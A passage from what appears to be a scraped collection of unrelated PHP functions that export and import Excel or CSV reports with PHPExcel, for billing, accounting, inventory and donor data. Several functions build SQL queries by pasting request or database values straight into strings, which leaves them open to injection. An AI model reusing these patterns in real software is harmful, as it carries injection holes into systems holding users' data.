$row[\"inf_fecha_fin\"];\n $hasta = cambia_fechaHora($hasta);\n $fecfin = substr($hasta,0,10);\n $horfin = substr($hasta,11,18);\n $respuesta->assign(\"fecfin\",\"value\",$fecfin);\n $respuesta->assign(\"horfin\",\"value\",$horfin);\n $link = $row[\"inf_link\"];\n $respuesta->assign(\"link\",\"value\",$link);\n //--\n $imagen = $row[\"inf_imagen\"];\n $respuesta->assign(\"imagenold\",\"value\",$imagen);\n if($imagen != \"\"){\n $oldimg = '<label>Imagen:</label> <span>'.$imagen.'</span><br>';\n $oldimg.= '<img src=\"../../CONFIG/Actividades/'.$imagen.'\" class=\"img-thumbnail\" width = \"100%\" >';\n $respuesta->assign(\"oldimg\",\"innerHTML\",$oldimg);\n }else{\n $oldimg = '<label>Imagen:</label> <span>(No hay imagen cargada)</span><br>';\n $oldimg.= '<img src=\"../../CONFIG/images/noimage.png\" class=\"img-thumbnail\" width = \"100%\" >';\n $respuesta->assign(\"oldimg\",\"innerHTML\",$oldimg);\n }\n }\n //--\n $respuesta->script('document.getElementById(\"nom\").focus();');\n $respuesta->script(\"cerrar();\");\n\t}\n return $respuesta;\n}", "function billing_download($values,$acctno,$profile){\n #excel declaration\n error_reporting(E_ALL);\n date_default_timezone_set('Europe/London'); \n require_once '../Classes/PHPExcel.php';\n $objReader = new PHPExcel_Reader_Excel5();\n $objPHPExcel = $objReader->load(\"accnts/gagamit.xls\"); \n ini_set(\"memory_limit\",\"-1\");\n ##end of excel declarationi \n #start of writing\n $objPHPExcel->getActiveSheet()->setCellValue('b10',$values['meter_reading']); //present reading\n $objPHPExcel->getActiveSheet()->setCellValue('c10',$values['meter_reading']-$values['cu_used']); //previous\n $objPHPExcel->getActiveSheet()->setCellValue('d10',$values['cu_used']); //cu_used\n $objPHPExcel->getActiveSheet()->setCellValue('e10',$values['bill_amnt']); //bill_amnt\n //$objPHPExcel->getActiveSheet()->setCellValue('c10',$values['meter_reading']-$values['cu_used']); //previous\n //$objPHPExcel->getActiveSheet()->setCellValue('c10',$values['meter_reading']-$values['cu_used']); //previous\n $objPHPExcel->getActiveSheet()->setCellValue('e14',$values['loans_MLP']); //material loan \n $objPHPExcel->getActiveSheet()->setCellValue('d18',$values['total']); //amouunt\n $objPHPExcel->getActiveSheet()->setCellValue('d20',cls_misc::toString(substr($values['reading_date'],5,2),\"month\").\"(\".substr($values['reading_date'],0,4).\")\"); //month of\n $objPHPExcel->getActiveSheet()->setCellValue('d22',$acctno); //accout number\n $objPHPExcel->getActiveSheet()->setCellValue('d23',$profile['meter_no']); //serial\n $objPHPExcel->getActiveSheet()->setCellValue('c25',$profile['name']); //name\n $objPHPExcel->getActiveSheet()->setCellValue('c26',$profile['address_brgy']); //address\n // $objPHPExcel->getActiveSheet()->setCellValue('d28',); //due_date\n $objPHPExcel->getActiveSheet()->setCellValue('d30',$_SESSION['username']); //prepared by\n $objPHPExcel->getActiveSheet()->setCellValue('d33',$values['meter_reading']-$values['cu_used']); //date\n \n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"relan.xls');\n // header('Cache-Control: max-age=0');\n\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n $objWriter->save('php://output');\n ##end of force browser download \n #close excel \n $objPHPExcel->disconnectWorksheets(); \n unset($objPHPExcel); \n ##end of close excel\n}", "public function action_export_obic(){\n\t\t$objPHPExcel = new \\PHPExcel();\n\t\t//add header\n $header = [\n '会社NO', '伝票番号', '発生日', 'システム分類', 'サイト番号', '仕訳区分', '伝票区分', '事業所コード', '行番号', '借方総勘定科目コード',\n '借方補助科目コード', '借方補助内訳科目コード', '借方部門コード', '借方取引先コード', '借方税区分', '借方税込区分',\n '借方金額', '借方消費税額', '借方消費税本体科目コード', '借方分析コード1', '借方分析コード2', '借方分析コード3', '借方分析コード4', '借方分析コード5',\n '借方資金コード', '借方プロジェクトコード', '貸方総勘定科目コード', '貸方補助科目コード', '貸方補助内訳科目コード', '貸方部門コード',\n '貸方取引先コード', '貸方税区分', '貸方税込区分', '貸方金額', '貸方消費税額', '貸方消費税本体科目コード',\n '貸方分析コード1', '貸方分析コード2', '貸方分析コード3', '貸方分析コード4', '貸方分析コード5', '貸方資金コード',\n '貸方プロジェクトコード', '明細摘要', '伝票摘要', 'ユーザID', '借方事業所コード', '貸方事業所コード'\n ];\n\n $objPHPExcel->getProperties()->setCreator('VisionVietnam')\n ->setLastModifiedBy('Phong Phu')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('OBIC File');\n $last_column = null;\n $explicit = [7,8,10,11,12,13,15,16,27,28,29,30,32];\n\n foreach($header as $i=>$v){\n\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n\t\t\t$objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($column.'1')\n\t\t\t\t\t\t->applyFromArray([\n\t\t\t\t\t\t 'font' => [\n\t\t\t\t\t\t 'name' => 'Times New Roman',\n\t\t\t\t\t\t 'bold' => true,\n\t\t\t\t\t\t 'italic' => false,\n\t\t\t\t\t\t 'size' => 10,\n\t\t\t\t\t\t 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n\t\t\t\t\t\t ],\n\t\t\t\t\t\t 'alignment' => [\n\t\t\t\t\t\t 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n\t\t\t\t\t\t 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t 'wrap' => false\n\t\t\t\t\t\t ]\n\t\t\t\t\t\t]);\n switch($i+1){\n case 4:\n case 15:\n case 16:\n case 18:\n $width = 20;\n break;\n case 13:\n case 14:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 30:\n case 31:\n $width = 25;\n break;\n case 10:\n case 11:\n case 12:\n case 19:\n case 26:\n case 27:\n case 28:\n $width = 30;\n break;\n case 29:\n case 44:\n case 45:\n $width = 40;\n break;\n default:\n $width = 15;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n //decode params\n $param = \\Input::param();\n parse_str(base64_decode($param['p']), $params);\n //get form payment content\n $rows = $this->generate_content($params);\n $i = 0;\n foreach($rows as $row){\n\t\t\tforeach($row as $k=>$v){\n\t\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($k);\n\t\t\t\tif(in_array($k+1,$explicit)){\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValueExplicit($column.($i+2),$v,\\PHPExcel_Cell_DataType::TYPE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValue($column.($i+2),$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->getStartColor()->setRGB('5f5f5f');\n\n\t\t$objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\tob_end_clean();\n\n\t\theader(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"obic-'.date('Y-m-d').'.xls\"');\n $objWriter->save('php://output');\n\t\texit;\n }", "public function exceldata($cond){\n\t\t if($cond['playid']!='null'&&$cond['playid']!=''){\n\t\t\t\t$map['user_id']=$cond['playid'];\n\t\t\t}\n\t\t\tif($cond['user_phone']!='null'&&$cond['user_phone']!=''){\n\t\t\t\t$map['user_phone']=$cond['phone'];\n\t\t\t}\n\t\t\tif(!$cond['orderfile']){\n\t\t\t\t$cond['orderfile']='user_id desc';\n\t\t\t}\n\t\t\tif(!$cond['ordertype']){\n\t\t\t\t$cond['ordertype']=null;\n\t\t\t}\n $count= $this->where($map)->count();// 查询满足要求的总记录数 \n $Page= new \\Think\\Page($count,10000);// 实例化分页类 传入总记录数和每页显示的记录数(25) \n $ppp = ceil($count/10000); \n $pp = range(1,$ppp);\n $str= \"用户id,兑换游戏,兑换时间,兑换物品,联系方式\"; \n $exl11 = explode(',',$str);\n foreach ($pp as $kkk => $vvv) { \n $rs[$kkk] = $this->join('tbl_goods ON tbl_convert_good.convert_good_id = tbl_goods.good_id')->where($map)->order($cond['orderfile'].' '.$cond['ordertype'])->page($vvv.', 10000')->field('user_id,user_phone,convert_good_id,goods_name,goods_desc,data')->select();\n foreach ($rs[$kkk] as $key => $value) {\n\t\t\t\t\tif(strstr($value['convert_good_id'],\"TURNTABLE\")||strstr($value['convert_good_id'],\"CONVERT\")){\n\t\t\t\t\t\t$rs[$kkk][$key]['goods_name']=$value['goods_desc'].$value['goods_name'];\n\t\t\t\t\t\t$rs[$kkk][$key]['game_name']=$cond['gamename'];\n\t\t\t\t\t}\n\t\t\t\t}\n \n foreach ($rs[$kkk] as $k => $v){ \n if (!$v['user_id']) $v['user_id'] = '暂无数据'; \n if (!$v['game_name']) $v['game_name'] = '暂无数据'; \n if (!$v['data']) $v['data'] = '暂无数据'; \n if (!$v['goods_name']) $v['goods_name'] = '暂无数据'; \n if (!$v['user_phone']) $v['user_phone'] = '暂无数据'; \n $exl[$kkk][] = array( \n $v['user_id'],$v['game_name'],$v['data'],$v['goods_name'],$v['user_phone'] \n ); \n } \n \texportToExcel('兑换物品_'.time().$vvv.'.csv',$exl11,$exl[$kkk]); \n } \n exit();\n\t\t}", "function CrearDevoluciones($objPHPExcel,$indice,$Codigo,$ID_Proyecto,$NombreProyecto){\n $bdProyectos = new MProyectos();\n $bdMaterieales = new MMaterial();\n \n $objPHPExcel->createSheet();\n $fila = mysqli_fetch_array($bdMaterieales->VerificarDisponibilidad($Codigo),MYSQLI_ASSOC);\n $nombreMaterial = $fila['Nombre'];\n $objPHPExcel->setActiveSheetIndex($indice)->mergeCells('C2:F2');\n $objPHPExcel->setActiveSheetIndex($indice)->mergeCells('C3:F3');\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue('C2', 'Proycon S.A')\n ->setCellValue('C3', 'Reportes Devolucion de materiales a Bodega')\n ->setCellValue('C4', 'Proyecto')\n ->setCellValue('D4', $NombreProyecto)\n ->setCellValue('C5', 'Material')\n ->setCellValue('D5',$nombreMaterial)\n ->setCellValue('C8', 'CANTIDAD')\n ->setCellValue('D8', 'FECHA DEVOLUCION')\n ->setCellValue('E8', 'N°BOLETA');\n\n\n//,,\n $result = $bdProyectos ->ListarDevolucionesPorMaterial($Codigo, $ID_Proyecto);\n\n\n $i = 9;\n$totalDevuelto = 0;\n while ($fila = mysqli_fetch_array($result, MYSQLI_ASSOC)) {\n $totalDevuelto = $totalDevuelto+$fila['Cantidad'];\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue(\"C$i\", $fila['Cantidad'])\n ->setCellValue(\"D$i\", date('d/m/Y', strtotime($fila['fecha'])))\n ->setCellValue(\"E$i\", $fila['NBoleta']);\n $i++;\n }\n \n $rango = \"C8:E$i\";\n\n $x = $i=$i+4;\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue(\"C$i\", \"Total Prestado\")\n ->setCellValue(\"D$i\", \"Devolucion\") \n ->setCellValue(\"E$i\", \"Pendiente\");\n $i=$i+1;\n $result = $bdProyectos->ObtenerTotalMaterialPrestadoProyecto($Codigo, $ID_Proyecto);\n $fila = mysqli_fetch_array($result, MYSQLI_ASSOC);\n $cantaidadPrestada = $fila['CantidadIngreso'];\n $pendiente = $cantaidadPrestada - $totalDevuelto;\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue(\"C$i\", $cantaidadPrestada)\n ->setCellValue(\"D$i\", $totalDevuelto) \n ->setCellValue(\"E$i\", $pendiente);\n \n \n//\n // Fuente de la primera fila en negrita\n //Alinear al centro ,'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER)\n $objPHPExcel->getActiveSheet()->getStyle('C2:F6')->applyFromArray(array('font' => array('bold' => true, 'name' => 'Calibri', 'size' => 18)));\n // $objPHPExcel->getActiveSheet()->getStyle('A1:Z200')->getFill()->applyFromArray(array(\n // 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n // 'startcolor' => array('rgb' => 'ffffff')));\n $objPHPExcel->getActiveSheet()->getStyle('C8:E8')->applyFromArray(\n array('font' => array('bold' => true, 'name' => 'Calibri', 'size' => 14, 'color' => array('rgb' => 'ffffff')),\n 'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF'))))\n );\n\n\n $objPHPExcel->getActiveSheet()->getStyle($rango)->applyFromArray(array('alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF')))));\n\n $objPHPExcel->getActiveSheet()->getStyle('C8:E8')->getFill()->applyFromArray(array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'startcolor' => array('rgb' => '003DA6')));\n \n //esto es para la segunda tabla la de resumen\n \n $objPHPExcel->getActiveSheet()->getStyle(\"C$x:E$x\")->applyFromArray(\n array('font' => array('bold' => true, 'name' => 'Calibri', 'size' => 14, 'color' => array('rgb' => 'ffffff')),\n 'alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF'))))\n );\n \n $objPHPExcel->getActiveSheet()->getStyle(\"C$x:E$x\")->getFill()->applyFromArray(array(\n 'type' => PHPExcel_Style_Fill::FILL_SOLID,\n 'startcolor' => array('rgb' => '003DA6')));\n $objPHPExcel->getActiveSheet()->getStyle(\"C$x:E$i\")->applyFromArray(array('alignment' => array('horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER),\n 'borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN, 'color' => array('argb' => 'FFF')))));\n\n /* Establecer tamanos a las celdas */\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(40);\n $objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(25);\n $objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(25);\n $objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(25);\n $objDrawing = new PHPExcel_Worksheet_Drawing();\n $objDrawing->setName('imgNotice');\n $objDrawing->setDescription('Noticia');\n $img = '../resources/imagenes/proycon.png'; // Provide path to your logo file\n $objDrawing->setPath($img);\n $objDrawing->setOffsetX(28); // setOffsetX works properly\n $objDrawing->setOffsetY(200); //setOffsetY has no effect\n $objDrawing->setCoordinates('A1');\n $objDrawing->setHeight(100); // logo height\n $objDrawing->setWorksheet($objPHPExcel->setActiveSheetIndex($indice));\n //Nombre de la hoja\n $objPHPExcel->getActiveSheet()->setTitle($Codigo);\n \n}", "function export_nik_unins_lunas()\n\t{\n\t\t$excel_id=$this->uri->segment(3);\n\t\t$datas = $this->model_transaction->get_lunas_gagal($excel_id);\n\t\t\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Pelunasan Tidak Sesuai\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':B'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"PELUNASAN TIDAK SESUAI.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "public function importSanepar(){\n if(Input::hasFile('import_file')){\n $path = Input::file('import_file')->getRealPath();\n //array para valores a ser gravado no banco de dados\n $dataCad = array();\n //cadastro com sucesso\n $dataStore = array();\n //registra linhas sem doador (nao foi encontrado)\n $dataError = array();\n $dataReturn = array();\n \n //ver a competencia\n $dataCom = Excel::selectSheetsByIndex(0)->load($path, function($reader){\n $reader->takeColumns(19); //limita a quantidade de colunas \n // $reader->skipRows(3); //pula a linha\n // $reader->ignoreEmpty(); //ignora os campos null\n // $reader->takeRows(6); //limita a quantidade de linha\n // $reader->noHeading(); //ignora os cabecalhos \n })->get();\n\n //cria dados para salvar na base de retorno sanepar\n if(!empty($dataCom) && $dataCom->count()){\n foreach($dataCom as $data){\n //pesquisa doadores\n $data['matricula'] = intval($data['matricula']);\n\n //verifica se linha nao esta vazia\n if($data['matricula'] != '' && $data['nome'] != ''){\n\n $ddr = $this->doador->findWhere('ddr_matricula',$data['matricula'])->get();\n //pesquisa doacao\n if(count($ddr) > 0){\n\n //verifica se tem doacao\n if(!$ddr[0]->doacao){\n $doa_id = '';\n } else {\n $doa_id = $ddr[0]->doacao->doa_id;\n }\n\n $ddr[0]->doacao;\n $dataCad[] = [\n 'rto_ddr_id' => $ddr[0]->ddr_id,\n 'rto_doa_id' => $doa_id,\n 'rto_data' => Carbon::now()->toDateString(),\n 'rto_ur' => $data->ur,\n 'rto_local' => $data->local,\n 'rto_cidade' => $data->cidade,\n 'rto_matricula' => $data->matricula,\n 'rto_nome' => $data->nome,\n 'rto_cpf_cnpj' => $data->cpf_cnpj,\n 'rto_rg' => $data->rg,\n 'rto_uf' => $data->uf,\n 'rto_logr_cod' => $data->logr_cod,\n 'rto_logradouro' => $data->logradouro,\n 'rto_num' => $data->num,\n 'rto_complemento' => $data->complemento,\n 'rto_bai_cod' => $data->bai_cod,\n 'rto_bairro' => $data->bairro,\n 'rto_cep' => $data->cep,\n 'rto_categoria' => $data->categoria,\n 'rto_cod_servico' => $data->cod_servico,\n 'rto_vlr_servico' => $data->vlr_servico,\n 'rto_referencia_arr' => $data->referencia_arr\n ];\n } else {\n $dataError[] = [\n 'error' => 'Matricula/Doador não encontrado!',\n 'rto_ddr_id' => 0,\n 'rto_doa_id' => 0,\n 'rto_data' => Carbon::now()->toDateString(),\n 'rto_ur' => $data->ur,\n 'rto_local' => $data->local,\n 'rto_cidade' => $data->cidade,\n 'rto_matricula' => $data->matricula,\n 'rto_nome' => $data->nome,\n 'rto_cpf_cnpj' => $data->cpf_cnpj,\n 'rto_rg' => $data->rg,\n 'rto_uf' => $data->uf,\n 'rto_logr_cod' => $data->logr_cod,\n 'rto_logradouro' => $data->logradouro,\n 'rto_num' => $data->num,\n 'rto_complemento' => $data->complemento,\n 'rto_bai_cod' => $data->bai_cod,\n 'rto_bairro' => $data->bairro,\n 'rto_cep' => $data->cep,\n 'rto_categoria' => $data->categoria,\n 'rto_cod_servico' => $data->cod_servico,\n 'rto_vlr_servico' => $data->vlr_servico,\n 'rto_referencia_arr' => $data->referencia_arr,\n 'msg_erro' => 'Não foi encontrado o doador no sistema, verifique a matricula!'\n ];\n }\n }\n }\n }\n\n if($dataCad || $dataError){\n $dataReturn = [\n 'sucesso' => $dataCad,\n 'error' => $dataError\n ];\n return $dataReturn;\n } else {\n return 'Error';\n }\n }\n // return back();\n }", "function import(){\n\n if(isset($_FILES[\"file\"][\"name\"])){\n\n $path = $_FILES[\"file\"][\"tmp_name\"];\n\n //object baru dari php excel\n $object = PHPExcel_IOFactory::load($path);\n\n //perulangan untuk membaca file excel\n foreach($object->getWorksheetIterator() as $worksheet){\n //row tertinggi\n $highestRow = $worksheet->getHighestRow();\n //colom tertinggi\n $highestColumn = $worksheet->getHighestColumn();\n\n //cek apakah jumlah nama dan urutan field sama\n $query = $this->MBenang->getColoumnname();\n\n for($row=3; $row<=$highestRow; $row++){\n //baca data dari excel berdasar matrik kolom dan baris (cell) kolom 1\n $kd_jenis = $worksheet->getCellByColumnAndRow(0, $row)->getValue();\n //baca data dari excel berdasar matrik kolom dan baris (cell) kolom 2\n $jenis_benang = $worksheet->getCellByColumnAndRow(1, $row)->getValue();\n\n $data[] = array(\n\n 'kd_jenis' => $kd_jenis,\n 'jenis_benang' => $jenis_benang\n\n );\n\n }\n\n }\n\n $this->MBenang->insertBenang($data);\n\n $this->session->set_flashdata('notif','<div class=\"alert alert-info alert alert-dismissible fade in\" role=\"alert\"><button type=\"button \" class=\"close\" data-dismiss=\"alert\" aria-label=\"Close\"><span aria-hidden=\"true\">&times;</span></button><h4><i class=\"icon fa fa-check\"></i> Berhasil!</h4> Data dari EXCEL Berhasil ditambahkan </div>');\n\n redirect(base_url('Benang')); \n\n }\n\n }", "public function importacionLinea($tipo) {\n //echo \"llego2\";\n $codLin = '02';\n $tipConsult = $tipo;\n $dtActFecha = date(\"Y-m\", strtotime(date()));//'2019-02';//\n //$dtAntFecha = date(\"Y-m\", strtotime(date()));//restarle 1 mes//'2019-01';//\n\t$dtAntFecha = date(\"Y-m\", strtotime('-1 month', strtotime(date())));//Se resta 1 mes.\n //Generar Manualmente\n //$dtActFecha ='2019-04';\n //$dtAntFecha ='2019-03';\n \n \n try {\n $obj_con = new cls_Base();\n $obj_var = new cls_Global();\n $con = $obj_con->conexionServidor();\n //$rawDataANT = array();\n $rawDataACT = array();\n \n $sql = \"SELECT A.COD_LIN, A.COD_TIP, A.COD_MAR, D.NOM_LIN, E.NOM_TIP, F.NOM_MAR,\"\n . \"SUM(A.P_PROME*B.EXI_TOT) AS COS_ACT, \";\n $sql .= \"IFNULL((SELECT X.COSTO_T FROM \" . $obj_con->BdServidor . \".IG0007 X \"\n . \" WHERE X.COD_LIN=A.COD_LIN AND X.COD_MAR=A.COD_MAR AND TIP_CON='$tipConsult' \"\n . \" AND ANO_MES='$dtAntFecha'),0) COS_ANT \"; \n $sql .= \" FROM \" . $obj_con->BdServidor . \".IG0020 A \";\n $sql .= \" INNER JOIN \" . $obj_con->BdServidor . \".IG0022 B ON A.COD_ART=B.COD_ART \";\n $sql .= \" INNER JOIN \" . $obj_con->BdServidor . \".IG0001 D ON A.COD_LIN=D.COD_LIN \";\n $sql .= \" INNER JOIN \" . $obj_con->BdServidor . \".IG0002 E ON A.COD_TIP=E.COD_TIP \";\n $sql .= \" INNER JOIN \" . $obj_con->BdServidor . \".IG0003 F ON A.COD_MAR=F.COD_MAR \";\n $sql .= \" WHERE B.EXI_TOT <> 0 \"; \n $sql .=($codLin!='')?\" AND A.COD_LIN='$codLin' \":\"\";\n $sql .=($tipConsult!='TD')?\" AND A.COD_TIP='$tipConsult' \":\"\";\n $sql .=\" GROUP BY A.COD_LIN,A.COD_MAR ORDER BY COD_LIN,COD_MAR \";\n $sentencia = $con->query($sql);\n if ($sentencia->num_rows > 0) {\n while ($fila = $sentencia->fetch_assoc()) {//Array Asociativo\n $rawDataACT[] = $fila;\n }\n }\n //cls_Global::putMessageLogFile($sql);\n for ($i = 0; $i < sizeof($rawDataACT); $i++) {\n \n $sql=\"INSERT INTO \" . $obj_con->BdServidor . \".IG0007 \n (COD_LIN,COD_TIP,COD_MAR,NOM_MAR,COST_ANT,COST_ACT,COSTO_T,FEC_SIS,TIP_CON,ANO_MES)VALUES \n ('\" . $rawDataACT[$i]['COD_LIN'] . \"',\n '\" . $rawDataACT[$i]['COD_TIP'] . \"',\n '\" . $rawDataACT[$i]['COD_MAR'] . \"',\n '\" . $rawDataACT[$i]['NOM_MAR'] . \"',\n '\" . $rawDataACT[$i]['COS_ANT'] . \"',\n '\" . $rawDataACT[$i]['COS_ACT'] . \"',\n '\" . $rawDataACT[$i]['COS_ACT'] . \"',\n '\" . $dtActFecha . \"-01',\n '\" . $tipConsult . \"',\n '\" . $dtActFecha . \"')\";\n //cls_Global::putMessageLogFile($rawDataACT[$i]['COS_ACT']);\n //cls_Global::putMessageLogFile($sql);\n $command = $con->prepare($sql); \n $command->execute();\n \n \n } \n\n $con->commit();\n $con->close();\n return true;\n } catch (Exception $e) { // se arroja una excepción si una consulta falla\n //return VSexception::messageSystem('NO_OK', $e->getMessage(), 41, null, null);\n $con->rollback();\n $con->close();\n throw $e;\n return false;\n }\n }", "private function Info() {\n\n\t\t$db=$GLOBALS['db'];\n\n\t\t$sql=\"SELECT *\n\t\t\t\t\tFROM \".$GLOBALS['database_prefix'].\"v_document_files\n\t\t\t\t\tWHERE document_id = '\".$this->document_id.\"'\n\t\t\t\t\t\";\n\t\t//echo $sql.\"<br>\";\n\t\t$result = $db->Query($sql);\n\n\t\tif ($db->NumRows($result) > 0) {\n\t\t\twhile($row=$db->FetchArray($result)) {\n\t\t\t\t/* HERE WE CALL THE FIELDS AND SET THEM INTO DYNAMIC VARIABLES */\n\t\t\t\t$arr_cols=$db->GetColumns($result);\n\t\t\t\tfor ($i=1;$i<count($arr_cols);$i++) {\n\t\t\t\t\t$col_name=$arr_cols[$i];\n\t\t\t\t\t$this->$col_name=$row[$col_name];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function general(){\n\t\t\n\t\t$data = array();\n\t\t//Query for get list of record\n\t\t$query = \"select cus.fb_id, cus.fb_name, cus.fb_email, cus.c_date , img.image, img.c_date as img_date\";\n\t\t$query .= \" from tb_customer cus inner join tb_image img\";\n\t\t$query .= \" on cus.fb_id = img.fb_id and cus.keygen = img.keygen \";\n\t\t$query .= \"order by cus.c_date desc\";\n\t\t$result = $this->db->query( $query );\n\t\t$data['list_report'] = $result->result_array();\n\t\t\n\t\t\n\t\t//load our new PHPExcel library\n\t\t$this->load->library('excel');\n\t\t//activate worksheet number 1\n\t\t$this->excel->setActiveSheetIndex(0);\n\t\t//name the worksheet\n\t\t$this->excel->getActiveSheet()->setTitle('General Report');\n\t\t//set cell A1 content with some text\n\t\t$i = 1 ;\n\t\t$num = 2 ;\n\t\t$this->excel->getActiveSheet()->setCellValue('A1','Number');\n\t\t$this->excel->getActiveSheet()->setCellValue('B1','FB Id');\n\t\t$this->excel->getActiveSheet()->setCellValue('C1','FB Name');\n\t\t$this->excel->getActiveSheet()->setCellValue('D1','FB Email');\n\t\t$this->excel->getActiveSheet()->setCellValue('E1','Time to play');\n\t\t$this->excel->getActiveSheet()->setCellValue('F1','Image');\n\t\t$this->excel->getActiveSheet()->setCellValue('G1','Time to image');\n\t\t\n\t\tforeach( $data['list_report'] as $report ){\n\t\t\t\n\t\t\t$this->excel->getActiveSheet()->setCellValue('A'.$num,$i);\n\t\t\t$this->excel->getActiveSheet()->setCellValue('B'.$num,$report['fb_id'] 